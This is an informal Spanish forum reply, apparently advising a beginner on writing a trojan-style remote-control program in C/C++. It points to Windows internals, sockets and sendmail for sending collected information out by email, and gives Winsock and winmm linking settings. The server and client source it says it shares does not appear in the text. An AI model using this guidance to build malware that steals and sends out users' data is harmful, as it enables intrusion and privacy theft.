Mira en realidad en cualquier lenguaje lo podes programar pero lo que podes hacer es leerte un poquito sobre C C# C++ para hacerlo y que no sea un simple troyano lo que si deberias entender bien es el manejo no solo de comandos sino entender un poquito como funciona el windows y su sistema de 32 bits asi podras hacer algo muy bueno y aparte te recomiendo que te leas sobre sendmail si queres darle opciones de envio de info por mail y aprende bien el manejo de los sockets te dejo uno

Considerando agregar a GUI.. #pragma comment(lib,ws2_32.lib) o cualquier VC++, pero tambien lo puedes hacer como un proyecto en dev-c++: Project Options -> Parameters -> Add Library or Object -> C:\Dev-Cpp\lib\libws2_32.a
Ahi tenes el fuente del server y el cliente
libwinmm.a in dev-cpp o #pragma comment(lib,winmm.lib) o cualquiera en VC++ eso es para abrir y cerrar la lectora de cd.

Y ahi el cliente
leete este fuente y analizalo o empezatelo a estudiar te ayudara mucho por que es C++ y no tiene nada de dificil ........saludos
